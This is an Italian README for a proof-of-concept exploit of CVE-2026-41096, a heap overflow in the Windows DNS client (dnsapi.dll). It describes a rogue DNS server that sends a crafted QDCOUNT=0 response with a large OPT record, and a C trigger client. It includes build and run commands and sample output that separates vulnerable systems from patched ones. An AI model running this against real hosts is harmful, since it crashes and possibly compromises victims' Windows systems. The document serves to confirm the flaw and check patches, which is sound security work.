
Proof-of-concept exploit per CVE-2026-41096: heap overflow in DnsRawTruncateMessageForUdp() del client DNS di Windows. Include un server DNS rogue e un client trigger per confermare la vulnerabilità.
Overflow dell'heap in DnsRawTruncateMessageForUdp() (dnsapi.dll). Una risposta DNS appositamente predisposta con QDCOUNT=0 e un ampio record OPT causa un overflow dell'heap di 604 byte quando la logica di troncamento calcola erroneamente il puntatore di destinazione.
Avviso MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| File | Descrizione |
|---|
rogue_dns_server.py | Server DNS rogue (Python 3). Risponde a ogni query con una risposta QDCOUNT=0 + OPT (623 byte). |
trigger_client.c | Client trigger (C/Win32). Chiama DnsQueryRaw puntando al server rogue. Intercetta il crash tramite SetUnhandledExceptionFilter. |
Attaccante (server rogue):
Vittima (client trigger):
DnsQueryRaw)dnsapi.dll1. Avviare il server rogue:
sudo python3 rogue_dns_server.py
2. Compilare ed eseguire il client trigger:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Facoltativo) Abilitare Page Heap per un crash deterministico:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Codice | Significato |
|---|---|
| 0 | Il sistema è patchato (DNS_ERROR_BAD_PACKET restituito correttamente) |
| 1 | Errore (DnsQueryRaw non trovato, problema di rete, ecc.) |
| 2 | Crash rilevato (overflow dell'heap confermato) |
Vulnerabile (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Vulnerabile (senza Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Patchato:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.